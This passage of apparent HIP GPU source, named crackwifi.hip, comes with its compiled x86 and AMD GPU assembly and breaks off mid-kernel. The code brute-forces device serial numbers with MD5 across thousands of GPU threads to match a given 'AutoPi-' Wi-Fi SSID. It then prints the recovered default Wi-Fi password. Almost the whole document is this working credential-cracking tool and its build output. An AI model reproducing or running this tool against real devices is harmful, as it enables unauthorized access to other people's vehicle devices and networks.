/* Rotation is separate from addition to prevent recomputation */
__device__ inline void FF(unsigned int &a, unsigned int b, unsigned int c, unsigned int d, unsigned int x, unsigned int s, unsigned int ac)
{
	a = ROTATE_LEFT(a + F(b, c, d) + x + ac, s) + b;
}
 
__device__ inline void GG(unsigned int &a, unsigned int b, unsigned int c, unsigned int d, unsigned int x, unsigned int s, unsigned int ac)
{
	a = ROTATE_LEFT(a + G(b, c, d) + x + ac, s) + b;
}
 
__device__ inline void HH(unsigned int &a, unsigned int b, unsigned int c, unsigned int d, unsigned int x, unsigned int s, unsigned int ac)
{
	a = ROTATE_LEFT(a + H(b ,c ,d) + x + ac, s) + b;
}
 
__device__ inline void II(unsigned int &a, unsigned int b, unsigned int c, unsigned int d, unsigned int x, unsigned int s, unsigned int ac)
{
	a = ROTATE_LEFT(a + I(b, c, d) + x + ac, s) + b;
}

__device__ void setSerial(char output[], unsigned int input[]) {
	for (unsigned int i = 0, j = 0; j < 16; j+=4, i++) {
		for (unsigned int k = 0; k < 4; k++) {
			output[j + k] = (unsigned char) ((input[i] >> 8*k) & 0xff);
		}
	}
}

__device__ void setHash(char output[], unsigned int input[]) {
	for (unsigned int i = 0, j = 0; j < 32; j+=8, i++) {
		for (unsigned int k = 0; k < 8; k+=2) {
			output[j + k + 1] = hexLookup[((input[i] >> 4*k+0) & 0xf)];
			output[j + k + 0] = hexLookup[((input[i] >> 4*k+4) & 0xf)];
		}
	}
}
 
__global__ void findMatch(unsigned int* ssid, unsigned int* found, char* serialResult, char* hashResult) {  
	unsigned int a, b, c, d;
	unsigned int serial[5];

	for (int i = 0; i < sizeof(serial)/sizeof(serial[0]); i++) {
		serial[i] = 0;
	}

	/*
		Set up serial number in format: "00000000xyzrsijk" + "\n"
		(md5 uses little endian => "00000000rzyxkjis")
		
		Where chars...:
		x, y & z are taken from the blockId.
		r & s are taken from the threadId.
		i, j & k are produced in the three nested loops underneath.
		
		The serial is stored in a int array:
		serial[0] == '0000'
		serial[1] == '0000'
		serial[2] == 'xyzr'
		serial[3] == 'sijk'
		serial[4] == '  d\n'	// d = 1 bit delimiter used by the md5 algorithm
	*/

	for (int i = 0; i < 4; i++) {
		serial[0] += hexLookup[0] << charLen*i;
	}
	serial[1] = serial[0];
	
	serial[2] += hexLookup[(blockIdx.x & 0xf00) >> 8] << charLen*3;		// serial[2] = 'x   '
	serial[2] += hexLookup[(blockIdx.x & 0x0f0) >> 4] << charLen*2;		// serial[2] = 'xy  '
	serial[2] += hexLookup[(blockIdx.x & 0x00f)]      << charLen*1;		// serial[2] = 'xyz '
	serial[2] += hexLookup[(threadIdx.x & 0xf0) >> 4] << charLen*0;		// serial[2] = 'xyzr'

	serial[3] += hexLookup[(threadIdx.x & 0x0f)]      << charLen*3;		// serial[3] = 't   '

	serial[4] += 10  << charLen*0;    					// serial[4] = '   \n'
	serial[4] += 128 << charLen*1;    					// serial[4] = '  d\n'

	// ASCII 0(48) -> 9(57) & a(97) -> f(102)               
	for (unsigned int i = 48; i <= 102; i++) {
		serial[3] &= ~(0xff << charLen*2);           // erase last loops value    
		serial[3] += (i << charLen*2);               // serial[3] = 'ti  '

		for (unsigned int j = 48; j <= 102; j++) {
			serial[3] &= ~(0xff << charLen*1);       // erase last loops value   
			serial[3] += (j << charLen*1);           // serial[3] = 'tij '

			for (unsigned int k = 48; k <= 102; k++) {
				serial[3] &= ~(0xff << charLen*0);   // erase last loops value   
				serial[3] += (k << charLen*0);       // serial[3] = 'tijk'

				//load magic numbers
				a = 0x67452301;
				b = 0xefcdab89;
				c = 0x98badcfe;
				d = 0x10325476;

				// Round 1
				FF ( a, b, c, d, serial[0], S11, 0xd76aa478); // 1
				FF ( d, a, b, c, serial[1], S12, 0xe8c7b756); // 2
				FF ( c, d, a, b, serial[2], S13,  0x242070db); // 3
				FF ( b, c, d, a, serial[3], S14, 0xc1bdceee); // 4
				FF ( a, b, c, d, serial[4], S11, 0xf57c0faf); // 5
				FF ( d, a, b, c, 0, S12, 0x4787c62a); // 6
				FF ( c, d, a, b, 0, S13, 0xa8304613); // 7
				FF ( b, c, d, a, 0, S14, 0xfd469501); // 8
				FF ( a, b, c, d, 0, S11, 0x698098d8); // 9
				FF ( d, a, b, c, 0, S12, 0x8b44f7af); // 10
				FF ( c, d, a, b, 0, S13, 0xffff5bb1); // 11
				FF ( b, c, d, a, 0, S14, 0x895cd7be); // 12
				FF ( a, b, c, d, 0, S11, 0x6b901122); // 13
				FF ( d, a, b, c, 0, S12, 0xfd987193); // 14
				FF ( c, d, a, b, pwdbitlen, S13, 0xa679438e); // 15
				FF ( b, c, d, a, 0, S14, 0x49b40821); // 

				// Round 2
				GG (a, b, c, d, serial[1], S21, 0xf61e2562); // 17
				GG (d, a, b, c, 0, S22, 0xc040b340); // 18
				GG (c, d, a, b, 0, S23, 0x265e5a51); // 19
				GG (b, c, d, a, serial[0], S24, 0xe9b6c7aa); // 20
				GG (a, b, c, d, 0, S21, 0xd62f105d); // 21
				GG (d, a, b, c, 0, S22,  0x2441453); // 22
				GG (c, d, a, b, 0, S23, 0xd8a1e681); // 23
				GG (b, c, d, a, serial[4], S24, 0xe7d3fbc8); // 24
				GG (a, b, c, d, 0, S21, 0x21e1cde6); // 25
				GG (d, a, b, c, pwdbitlen, S22, 0xc33707d6); // 26
				GG (c, d, a, b, serial[3], S23, 0xf4d50d87); // 27
				GG (b, c, d, a, 0, S24, 0x455a14ed); // 28
				GG (a, b, c, d, 0, S21, 0xa9e3e905); // 29
				GG (d, a, b, c, serial[2], S22, 0xfcefa3f8); // 30
				GG (c, d, a, b, 0, S23, 0x676f02d9); // 31
				GG (b, c, d, a, 0, S24, 0x8d2a4c8a); // 32

				// Round 3
				HH (a, b, c, d, 0, S31, 0xfffa3942); // 33
				HH (d, a, b, c, 0, S32, 0x8771f681); // 34
				HH (c, d, a, b, 0, S33, 0x6d9d6122); // 35
				HH (b, c, d, a, pwdbitlen, S34, 0xfde5380c); // 36
				HH (a, b, c, d, serial[1], S31, 0xa4beea44); // 37
				HH (d, a, b, c, serial[4], S32, 0x4bdecfa9); // 38
				HH (c, d, a, b, 0, S33, 0xf6bb4b60); // 39
				HH (b, c, d, a, 0, S34, 0xbebfbc70); // 40
				HH (a, b, c, d, 0, S31, 0x289b7ec6); // 41
				HH (d, a, b, c, serial[0], S32, 0xeaa127fa); // 42
				HH (c, d, a, b, serial[3], S33, 0xd4ef3085); // 43
				HH (b, c, d, a, 0, S34,  0x4881d05); // 44
				HH (a, b, c, d, 0, S31, 0xd9d4d039); // 45
				HH (d, a, b, c, 0, S32, 0xe6db99e5); // 46
				HH (c, d, a, b, 0, S33, 0x1fa27cf8); // 47
				HH (b, c, d, a, serial[2], S34, 0xc4ac5665); // 48

				// Round 4
				II (a, b, c, d, serial[0], S41, 0xf4292244); // 49
				II (d, a, b, c, 0, S42, 0x432aff97); // 50
				II (c, d, a, b, pwdbitlen, S43, 0xab9423a7); // 51
				II (b, c, d, a, 0, S44, 0xfc93a039); // 52
				II (a, b, c, d, 0, S41, 0x655b59c3); // 53
				II (d, a, b, c, serial[3], S42, 0x8f0ccc92); // 54
				II (c, d, a, b, 0, S43, 0xffeff47d); // 55
				II (b, c, d, a, serial[1], S44, 0x85845dd1); // 56
				II (a, b, c, d, 0, S41, 0x6fa87e4f); // 57
				II (d, a, b, c, 0, S42, 0xfe2ce6e0); // 58
				II (c, d, a, b, 0, S43, 0xa3014314); // 59
				II (b, c, d, a, 0, S44, 0x4e0811a1); // 60
				II (a, b, c, d, serial[4], S41, 0xf7537e82); // 61
				II (d, a, b, c, 0, S42, 0xbd3af235); // 62
				II (c, d, a, b, serial[2], S43, 0x2ad7d2bb); // 63
				II (b, c, d, a, 0, S44, 0xeb86d391); // 64

				a += 0x67452301;
				b += 0xefcdab89;
				c += 0x98badcfe;
				d += 0x10325476;

				if (((c >> charLen*2) & 0xffff) == ((ssid[0] >> charLen*2) & 0xffff) && d == ssid[1]) {
					unsigned int hash[] = {a, b, c, d};

					*found = TRUE;
					setSerial(serialResult, serial);
					setHash(hashResult, hash);
					
					return;
				}

				if (k == 57)
					k = 96; // values will be incremented to 97 at the end of their loops
			}
			if (j == 57)
				j = 96;
		}
		if (i == 57)
			i = 96;
	}
}

void usage(char *argv[]) {
	printf("%-7s %s %s\n", "Usage:", argv[0], "<12 hex SSID>");
	exit(0);
}

// Converts the 12 hex char ssid input to arrays of integers in
// little endian which is used by the md5 algorithm.
void ssidToInts(unsigned int result[], char input[]) {
	// Pad with zeros to align with multiple of 8.
	// Will be masked away when doing compares.
	char ssid[17];
	snprintf(ssid, sizeof(ssid)/sizeof(ssid[0]), "%s%s", "0000", input);

	char tmpResult[9];
	tmpResult[8] = 0;
	for (int i = 0; i < 16; i+=8) {
		for (int j = 0; j < 8; j+=2) {
			tmpResult[(j + 1) % 8] = ssid[i + (8 - 1 - j - 0)];
			tmpResult[(j + 0) % 8] = ssid[i + (8 - 1 - j - 1)];
		}
		
		result[(i + 1) / 8] = strtoul(tmpResult, NULL, 16);
	}
}

int main(int argc, char *argv[]) {
	if (argc != 2 || strlen(argv[1]) != 12) {
		usage(argv);
	}
	
	// declare
	unsigned int *found, *ssid;
	char *serialResult, *hashResult;
	const int SERIAL_LENGTH = 16 + 1, HASH_LENGTH = 32 + 1;

	// malloc
	hipMallocManaged((void**)&found, sizeof(int));
	hipMallocManaged((void**)&ssid, 2 * sizeof(int));
	hipMallocManaged((void**)&serialResult, SERIAL_LENGTH * sizeof(char));
	hipMallocManaged((void**)&hashResult, HASH_LENGTH * sizeof(char));
	
	// init
	*found = FALSE;
	ssidToInts(ssid, argv[1]);
	serialResult[SERIAL_LENGTH - 1] = 0;
	hashResult[HASH_LENGTH - 1] = 0;

	findMatch<<<4096, 256>>>(ssid, found, serialResult, hashResult);
	hipDeviceSynchronize();
	
	if (*found) {
		char password[13];
		strncpy(password, hashResult, 12);
		password[12] = 0;

		printf("%-10s %s\n", "Serial:", serialResult);
		printf("%-10s %s\n", "Hash:", hashResult);
		printf("%-10s AutoPi-%s\n", "SSID:", argv[1]);
		printf("%-10s %s\n", "Password:", password);
	} else {
		printf("No match found for SSID %s\n", argv[1]);
	}

	hipFree(found);
	hipFree(ssid);
	hipFree(serialResult);
	hipFree(hashResult);

	return 0;
}

	.text
	.file	"crackwifi.hip"
	.globl	_Z24__device_stub__findMatchPjS_PcS0_ # -- Begin function _Z24__device_stub__findMatchPjS_PcS0_
	.type	_Z24__device_stub__findMatchPjS_PcS0_,@function
_Z24__device_stub__findMatchPjS_PcS0_:  # @_Z24__device_stub__findMatchPjS_PcS0_
	.cfi_startproc
# %bb.0:
	pushq	%r15
	.cfi_def_cfa_offset 16
	pushq	%r14
	.cfi_def_cfa_offset 24
	pushq	%r13
	.cfi_def_cfa_offset 32
	pushq	%r12
	.cfi_def_cfa_offset 40
	pushq	%rbx
	.cfi_def_cfa_offset 48
	subq	$112, %rsp
	.cfi_def_cfa_offset 160
	.cfi_offset %rbx, -48
	.cfi_offset %r12, -40
	.cfi_offset %r13, -32
	.cfi_offset %r14, -24
	.cfi_offset %r15, -16
	leaq	40(%rsp), %rax
	movq	%rdi, (%rax)
	leaq	32(%rsp), %rdi
	movq	%rsi, (%rdi)
	leaq	24(%rsp), %rsi
	movq	%rdx, (%rsi)
	leaq	16(%rsp), %rdx
	movq	%rcx, (%rdx)
	leaq	80(%rsp), %rbx
	movq	%rax, (%rbx)
	movq	%rdi, 8(%rbx)
	movq	%rsi, 16(%rbx)
	movq	%rdx, 24(%rbx)
	leaq	64(%rsp), %r14
	leaq	48(%rsp), %r15
	leaq	8(%rsp), %r12
	movq	%rsp, %r13
	movq	%r14, %rdi
	movq	%r15, %rsi
	movq	%r12, %rdx
	movq	%r13, %rcx
	callq	__hipPopCallConfiguration
	movq	(%r14), %rsi
	movl	8(%r14), %edx
	movq	(%r15), %rcx
	movl	8(%r15), %r8d
	movl	$_Z9findMatchPjS_PcS0_, %edi
	movq	%rbx, %r9
	pushq	(%r13)
	.cfi_adjust_cfa_offset 8
	pushq	(%r12)
	.cfi_adjust_cfa_offset 8
	callq	hipLaunchKernel
	addq	$128, %rsp
	.cfi_adjust_cfa_offset -128
	popq	%rbx
	.cfi_def_cfa_offset 40
	popq	%r12
	.cfi_def_cfa_offset 32
	popq	%r13
	.cfi_def_cfa_offset 24
	popq	%r14
	.cfi_def_cfa_offset 16
	popq	%r15
	.cfi_def_cfa_offset 8
	retq
.Lfunc_end0:
	.size	_Z24__device_stub__findMatchPjS_PcS0_, .Lfunc_end0-_Z24__device_stub__findMatchPjS_PcS0_
	.cfi_endproc
                                        # -- End function
	.globl	_Z5usagePPc                     # -- Begin function _Z5usagePPc
	.type	_Z5usagePPc,@function
_Z5usagePPc:                            # @_Z5usagePPc
	.cfi_startproc
# %bb.0:
	pushq	%rax
	.cfi_def_cfa_offset 16
	movq	(%rdi), %rdx
	movl	$.L.str, %edi
	movl	$.L.str.1, %esi
	movl	$.L.str.2, %ecx
	xorl	%eax, %eax
	callq	printf
	xorl	%edi, %edi
	callq	exit
.Lfunc_end1:
	.size	_Z5usagePPc, .Lfunc_end1-_Z5usagePPc
	.cfi_endproc
                                        # -- End function
	.globl	_Z10ssidToIntsPjPc              # -- Begin function _Z10ssidToIntsPjPc
	.type	_Z10ssidToIntsPjPc,@function
_Z10ssidToIntsPjPc:                     # @_Z10ssidToIntsPjPc
	.cfi_startproc
# %bb.0:
	pushq	%r15
	.cfi_def_cfa_offset 16
	pushq	%r14
	.cfi_def_cfa_offset 24
	pushq	%r13
	.cfi_def_cfa_offset 32
	pushq	%r12
	.cfi_def_cfa_offset 40
	pushq	%rbx
	.cfi_def_cfa_offset 48
	subq	$48, %rsp
	.cfi_def_cfa_offset 96
	.cfi_offset %rbx, -48
	.cfi_offset %r12, -40
	.cfi_offset %r13, -32
	.cfi_offset %r14, -24
	.cfi_offset %r15, -16
	movq	%rsi, %r8
	movq	%rdi, %rbx
	xorl	%r15d, %r15d
	leaq	16(%rsp), %rdi
	movl	$17, %esi
	movl	$.L.str.3, %edx
	movl	$.L.str.4, %ecx
	xorl	%eax, %eax
	callq	snprintf
	leaq	7(%rsp), %r14
	movb	$0, 8(%r14)
	movb	$1, %r13b
	leaq	22(%rsp), %r12
.LBB2_1:                                # %.preheader
                                        # =>This Loop Header: Depth=1
                                        #     Child Loop BB2_2 Depth 2
	leaq	(%r12,%r15), %rax
	xorl	%ecx, %ecx
.LBB2_2:                                #   Parent Loop BB2_1 Depth=1
                                        # =>  This Inner Loop Header: Depth=2
	movq	%rcx, %rdx
	orq	%r15, %rdx
	xorq	$7, %rdx
	movb	16(%rsp,%rdx), %dl
	movb	%dl, 8(%rsp,%rcx)
	movb	(%rax), %dl
	movb	%dl, 7(%rsp,%rcx)
	leaq	2(%rcx), %rdx
	addq	$-2, %rax
	cmpq	$6, %rcx
	movq	%rdx, %rcx
	jb	.LBB2_2
# %bb.3:                                #   in Loop: Header=BB2_1 Depth=1
	movq	%r14, %rdi
	xorl	%esi, %esi
	movl	$16, %edx
	callq	__isoc23_strtoul
	shrq	%r15
	movl	%eax, (%rbx,%r15)
	movl	$8, %r15d
	testb	$1, %r13b
	movl	$0, %r13d
	jne	.LBB2_1
# %bb.4:
	addq	$48, %rsp
	.cfi_def_cfa_offset 48
	popq	%rbx
	.cfi_def_cfa_offset 40
	popq	%r12
	.cfi_def_cfa_offset 32
	popq	%r13
	.cfi_def_cfa_offset 24
	popq	%r14
	.cfi_def_cfa_offset 16
	popq	%r15
	.cfi_def_cfa_offset 8
	retq
.Lfunc_end2:
	.size	_Z10ssidToIntsPjPc, .Lfunc_end2-_Z10ssidToIntsPjPc
	.cfi_endproc
                                        # -- End function
	.globl	main                            # -- Begin function main
	.type	main,@function
main:                                   # @main
	.cfi_startproc
# %bb.0:
	pushq	%r15
	.cfi_def_cfa_offset 16
	pushq	%r14
	.cfi_def_cfa_offset 24
	pushq	%r13
	.cfi_def_cfa_offset 32
	pushq	%r12
	.cfi_def_cfa_offset 40
	pushq	%rbx
	.cfi_def_cfa_offset 48
	subq	$48, %rsp
	.cfi_def_cfa_offset 96
	.cfi_offset %rbx, -48
	.cfi_offset %r12, -40
	.cfi_offset %r13, -32
	.cfi_offset %r14, -24
	.cfi_offset %r15, -16
	movq	%rsi, %rbx
	cmpl	$2, %edi
	jne	.LBB3_8
# %bb.1:
	movq	8(%rbx), %rdi
	callq	strlen
	cmpq	$12, %rax
	jne	.LBB3_8
# %bb.2:
	leaq	16(%rsp), %r14
	movl	$4, %esi
	movq	%r14, %rdi
	movl	$1, %edx
	callq	hipMallocManaged
	leaq	24(%rsp), %r15
	movl	$8, %esi
	movq	%r15, %rdi
	movl	$1, %edx
	callq	hipMallocManaged
	leaq	8(%rsp), %r12
	movl	$17, %esi
	movq	%r12, %rdi
	movl	$1, %edx
	callq	hipMallocManaged
	movq	%rsp, %r13
	movl	$33, %esi
	movq	%r13, %rdi
	movl	$1, %edx
	callq	hipMallocManaged
	movq	(%r14), %rax
	movl	$0, (%rax)
	movq	(%r15), %rdi
	movq	8(%rbx), %rsi
	callq	_Z10ssidToIntsPjPc
	movq	(%r12), %rax
	xorl	%ecx, %ecx
	movb	%cl, 16(%rax)
	movq	(%r13), %rax
	movb	%cl, 32(%rax)
	movabsq	$4294967552, %rdx               # imm = 0x100000100
	leaq	3840(%rdx), %rdi
	movl	$1, %esi
	movl	$1, %ecx
	xorl	%r8d, %r8d
	xorl	%r9d, %r9d
	callq	__hipPushCallConfiguration
	testl	%eax, %eax
	jne	.LBB3_4
# %bb.3:
	movq	24(%rsp), %rdi
	movq	16(%rsp), %rsi
	movq	8(%rsp), %rdx
	movq	(%rsp), %rcx
	callq	_Z24__device_stub__findMatchPjS_PcS0_
.LBB3_4:
	callq	hipDeviceSynchronize
	movq	16(%rsp), %rax
	cmpl	$0, (%rax)
	je	.LBB3_6
# %bb.5:
	movq	(%rsp), %rsi
	leaq	35(%rsp), %r14
	movl	$12, %edx
	movq	%r14, %rdi
	callq	strncpy
	movb	$0, 12(%r14)
	movq	8(%rsp), %rdx
	movl	$.L.str.5, %edi
	movl	$.L.str.6, %esi
	xorl	%eax, %eax
	callq	printf
	movq	(%rsp), %rdx
	movl	$.L.str.5, %edi
	movl	$.L.str.7, %esi
	xorl	%eax, %eax
	callq	printf
	movq	8(%rbx), %rdx
	movl	$.L.str.8, %edi
	movl	$.L.str.9, %esi
	xorl	%eax, %eax
	callq	printf
	movl	$.L.str.5, %edi
	movl	$.L.str.10, %esi
	movq	%r14, %rdx
	xorl	%eax, %eax
	callq	printf
	jmp	.LBB3_7
.LBB3_6:
	movq	8(%rbx), %rsi
	movl	$.L.str.11, %edi
	xorl	%eax, %eax
	callq	printf
.LBB3_7:
	movq	16(%rsp), %rdi
	callq	hipFree
	movq	24(%rsp), %rdi
	callq	hipFree
	movq	8(%rsp), %rdi
	callq	hipFree
	movq	(%rsp), %rdi
	callq	hipFree
	xorl	%eax, %eax
	addq	$48, %rsp
	.cfi_def_cfa_offset 48
	popq	%rbx
	.cfi_def_cfa_offset 40
	popq	%r12
	.cfi_def_cfa_offset 32
	popq	%r13
	.cfi_def_cfa_offset 24
	popq	%r14
	.cfi_def_cfa_offset 16
	popq	%r15
	.cfi_def_cfa_offset 8
	retq
.LBB3_8:
	.cfi_def_cfa_offset 96
	movq	(%rbx), %rdx
	movl	$.L.str, %edi
	movl	$.L.str.1, %esi
	movl	$.L.str.2, %ecx
	xorl	%eax, %eax
	callq	printf
	xorl	%edi, %edi
	callq	exit
.Lfunc_end3:
	.size	main, .Lfunc_end3-main
	.cfi_endproc
                                        # -- End function
	.p2align	4, 0x90                         # -- Begin function __hip_module_ctor
	.type	__hip_module_ctor,@function
__hip_module_ctor:                      # @__hip_module_ctor
	.cfi_startproc
# %bb.0:
	subq	$40, %rsp
	.cfi_def_cfa_offset 48
	movq	__hip_gpubin_handle(%rip), %rdi
	testq	%rdi, %rdi
	jne	.LBB4_2
# %bb.1:
	movl	$__hip_fatbin_wrapper, %edi
	callq	__hipRegisterFatBinary
	movq	%rax, %rdi
	movq	%rax, __hip_gpubin_handle(%rip)
.LBB4_2:
	xorps	%xmm0, %xmm0
	movups	%xmm0, 16(%rsp)
	movups	%xmm0, (%rsp)
	movl	$_Z9findMatchPjS_PcS0_, %esi
	movl	$.L__unnamed_1, %edx
	movl	$.L__unnamed_1, %ecx
	movl	$-1, %r8d
	xorl	%r9d, %r9d
	callq	__hipRegisterFunction
	movl	$__hip_module_dtor, %edi
	addq	$40, %rsp
	.cfi_def_cfa_offset 8
	jmp	atexit                          # TAILCALL
.Lfunc_end4:
	.size	__hip_module_ctor, .Lfunc_end4-__hip_module_ctor
	.cfi_endproc
                                        # -- End function
	.p2align	4, 0x90                         # -- Begin function __hip_module_dtor
	.type	__hip_module_dtor,@function
__hip_module_dtor:                      # @__hip_module_dtor
	.cfi_startproc
# %bb.0:
	movq	__hip_gpubin_handle(%rip), %rdi
	testq	%rdi, %rdi
	je	.LBB5_2
# %bb.1:
	pushq	%rax
	.cfi_def_cfa_offset 16
	callq	__hipUnregisterFatBinary
	movq	$0, __hip_gpubin_handle(%rip)
	addq	$8, %rsp
	.cfi_def_cfa_offset 8
.LBB5_2:
	retq
.Lfunc_end5:
	.size	__hip_module_dtor, .Lfunc_end5-__hip_module_dtor
	.cfi_endproc
                                        # -- End function
	.type	_Z9findMatchPjS_PcS0_,@object   # @_Z9findMatchPjS_PcS0_
	.section	.rodata,"a",@progbits
	.globl	_Z9findMatchPjS_PcS0_
	.p2align	3, 0x0
_Z9findMatchPjS_PcS0_:
	.quad	_Z24__device_stub__findMatchPjS_PcS0_
	.size	_Z9findMatchPjS_PcS0_, 8

	.type	.L.str,@object                  # @.str
	.section	.rodata.str1.1,"aMS",@progbits,1
.L.str:
	.asciz	"%-7s %s %s\n"
	.size	.L.str, 12

	.type	.L.str.1,@object                # @.str.1
.L.str.1:
	.asciz	"Usage:"
	.size	.L.str.1, 7

	.type	.L.str.2,@object                # @.str.2
.L.str.2:
	.asciz	"<12 hex SSID>"
	.size	.L.str.2, 14

	.type	.L.str.3,@object                # @.str.3
.L.str.3:
	.asciz	"%s%s"
	.size	.L.str.3, 5

	.type	.L.str.4,@object                # @.str.4
.L.str.4:
	.asciz	"0000"
	.size	.L.str.4, 5

	.type	.L.str.5,@object                # @.str.5
.L.str.5:
	.asciz	"%-10s %s\n"
	.size	.L.str.5, 10

	.type	.L.str.6,@object                # @.str.6
.L.str.6:
	.asciz	"Serial:"
	.size	.L.str.6, 8

	.type	.L.str.7,@object                # @.str.7
.L.str.7:
	.asciz	"Hash:"
	.size	.L.str.7, 6

	.type	.L.str.8,@object                # @.str.8
.L.str.8:
	.asciz	"%-10s AutoPi-%s\n"
	.size	.L.str.8, 17

	.type	.L.str.9,@object                # @.str.9
.L.str.9:
	.asciz	"SSID:"
	.size	.L.str.9, 6

	.type	.L.str.10,@object               # @.str.10
.L.str.10:
	.asciz	"Password:"
	.size	.L.str.10, 10

	.type	.L.str.11,@object               # @.str.11
.L.str.11:
	.asciz	"No match found for SSID %s\n"
	.size	.L.str.11, 28

	.type	.L__unnamed_1,@object           # @0
.L__unnamed_1:
	.asciz	"_Z9findMatchPjS_PcS0_"
	.size	.L__unnamed_1, 22

	.type	__hip_fatbin_wrapper,@object    # @__hip_fatbin_wrapper
	.section	.hipFatBinSegment,"a",@progbits
	.p2align	3, 0x0
__hip_fatbin_wrapper:
	.long	1212764230                      # 0x48495046
	.long	1                               # 0x1
	.quad	__hip_fatbin
	.quad	0
	.size	__hip_fatbin_wrapper, 24

	.type	__hip_gpubin_handle,@object     # @__hip_gpubin_handle
	.local	__hip_gpubin_handle
	.comm	__hip_gpubin_handle,8,8
	.section	.init_array,"aw",@init_array
	.p2align	3, 0x0
	.quad	__hip_module_ctor
	.type	__hip_cuid_,@object             # @__hip_cuid_
	.bss
	.globl	__hip_cuid_
__hip_cuid_:
	.byte	0                               # 0x0
	.size	__hip_cuid_, 1

	.ident	"AMD clang version 18.0.0git (https://github.com/RadeonOpenCompute/llvm-project roc-6.3.2 25012 e5bf7e55c91490b07c49d8960fa7983d864936c4)"
	.section	".note.GNU-stack","",@progbits
	.addrsig
	.addrsig_sym _Z24__device_stub__findMatchPjS_PcS0_
	.addrsig_sym __hip_module_ctor
	.addrsig_sym __hip_module_dtor
	.addrsig_sym _Z9findMatchPjS_PcS0_
	.addrsig_sym __hip_fatbin
	.addrsig_sym __hip_fatbin_wrapper
	.addrsig_sym __hip_cuid_

	.text
	.amdgcn_target "amdgcn-amd-amdhsa--gfx1100"
	.protected	_Z9findMatchPjS_PcS0_   ; -- Begin function _Z9findMatchPjS_PcS0_
	.globl	_Z9findMatchPjS_PcS0_
	.p2align	8
	.type	_Z9findMatchPjS_PcS0_,@function
_Z9findMatchPjS_PcS0_:                  ; @_Z9findMatchPjS_PcS0_
; %bb.0:
	s_mov_b64 s[2:3], 0
                                        ; implicit-def: $sgpr8
                                        ; implicit-def: $sgpr4
                                        ; implicit-def: $sgpr11
                                        ; implicit-def: $sgpr16
                                        ; implicit-def: $sgpr9
.LBB0_1:                                ; =>This Inner Loop Header: Depth=1
	s_delay_alu instid0(SALU_CYCLE_1)
	s_cmp_lg_u32 s2, 0
	s_cselect_b32 s8, s8, 0
	s_cmp_lg_u32 s2, 1
	s_cselect_b32 s4, s4, 0
	s_cmp_lg_u32 s2, 2
	s_cselect_b32 s11, s11, 0
	s_cmp_lg_u32 s2, 3
	s_cselect_b32 s16, s16, 0
	s_cmp_lg_u32 s2, 4
	s_cselect_b32 s9, s9, 0
	s_add_u32 s2, s2, 1
	s_addc_u32 s3, s3, 0
	s_cmp_lg_u32 s2, 5
	s_cbranch_scc1 .LBB0_1
; %bb.2:                                ; %.preheader.preheader
	s_bfe_u32 s4, s15, 0x40008
	s_getpc_b64 s[2:3]
	s_add_u32 s2, s2, _ZL9hexLookup@rel32@lo+4
	s_addc_u32 s3, s3, _ZL9hexLookup@rel32@hi+12
	v_mov_b32_e32 v1, s4
	s_bfe_u32 s4, s15, 0x40004
	s_add_i32 s8, s8, 0x30303030
	v_mov_b32_e32 v2, s4
	s_and_b32 s4, s15, 15
	global_load_u8 v1, v1, s[2:3]
	v_mov_b32_e32 v3, s4
	s_add_i32 s12, s8, 0xd76aa477
	global_load_u8 v4, v2, s[2:3]
	s_add_i32 s9, s9, 0x800a
	s_add_i32 s13, s8, 0xa4beea44
	global_load_u8 v3, v3, s[2:3]
	v_and_b32_e32 v2, 15, v0
	v_bfe_u32 v0, v0, 4, 4
	s_clause 0x1
	global_load_u8 v5, v2, s[2:3]
	global_load_u8 v6, v0, s[2:3]
	s_load_b256 s[0:7], s[0:1], 0x0
	v_alignbit_b32 v2, s12, s12, 25
	s_mov_b32 s12, 48
	s_add_i32 s14, s9, 0x4bdecfa9
	s_add_i32 s15, s8, 0xeaa127fa
	s_add_i32 s17, s8, 0x85845dd1
	s_add_i32 s19, s9, 0xf7537e82
                                        ; implicit-def: $sgpr18
                                        ; implicit-def: $sgpr20
	s_waitcnt lgkmcnt(0)
	s_load_b32 s10, s[0:1], 0x0
	s_waitcnt vmcnt(4)
	v_lshlrev_b32_e32 v0, 24, v1
	s_waitcnt vmcnt(3)
	v_lshlrev_b32_e32 v1, 16, v4
	v_sub_nc_u32_e32 v4, 0x10325476, v2
	s_delay_alu instid0(VALU_DEP_3)
	v_add_nc_u32_e32 v0, s11, v0
	s_waitcnt vmcnt(2)
	v_lshlrev_b32_e32 v3, 8, v3
	s_mov_b32 s11, 0
	v_and_b32_e32 v4, 0x98badcfe, v4
	v_add_nc_u32_e32 v1, v0, v1
	s_waitcnt vmcnt(1)
	v_lshl_add_u32 v0, v5, 24, s16
	s_add_i32 s16, s8, 0xf4292244
	s_waitcnt vmcnt(0)
	v_add3_u32 v1, v1, v3, v6
.LBB0_3:                                ; =>This Loop Header: Depth=1
                                        ;     Child Loop BB0_4 Depth 2
                                        ;       Child Loop BB0_5 Depth 3
	s_lshl_b32 s21, s12, 16
	s_mov_b32 s22, 0
	v_and_or_b32 v0, 0xff00ffff, v0, s21
	s_mov_b32 s23, 48
                                        ; implicit-def: $sgpr21
                                        ; implicit-def: $sgpr24
                                        ; implicit-def: $sgpr25
.LBB0_4:                                ;   Parent Loop BB0_3 Depth=1
                                        ; =>  This Loop Header: Depth=2
                                        ;       Child Loop BB0_5 Depth 3
	s_delay_alu instid0(SALU_CYCLE_1) | instskip(SKIP_1) | instid1(VALU_DEP_1)
	s_lshl_b32 s26, s23, 8
	s_mov_b32 s29, 48
	v_and_or_b32 v0, 0xffff00ff, v0, s26
	s_mov_b32 s28, 0
                                        ; implicit-def: $sgpr26
                                        ; implicit-def: $sgpr27
.LBB0_5:                                ;   Parent Loop BB0_3 Depth=1
                                        ;     Parent Loop BB0_4 Depth=2
                                        ; =>    This Inner Loop Header: Depth=3
	v_readfirstlane_b32 s30, v2
	s_delay_alu instid0(VALU_DEP_2) | instskip(NEXT) | instid1(VALU_DEP_2)
	v_and_or_b32 v0, 0xffffff00, v0, s29
	s_add_i32 s30, s30, 0xefcdab89
	s_delay_alu instid0(SALU_CYCLE_1) | instskip(NEXT) | instid1(SALU_CYCLE_1)
	s_and_b32 s31, s30, 0xefcdab89
	s_add_i32 s31, s8, s31
	s_delay_alu instid0(SALU_CYCLE_1) | instskip(NEXT) | instid1(VALU_DEP_1)
	v_add_nc_u32_e32 v3, s31, v4
	v_add_nc_u32_e32 v3, 0xf8fa0bcc, v3
	s_delay_alu instid0(VALU_DEP_1) | instskip(NEXT) | instid1(VALU_DEP_1)
	v_alignbit_b32 v3, v3, v3, 20
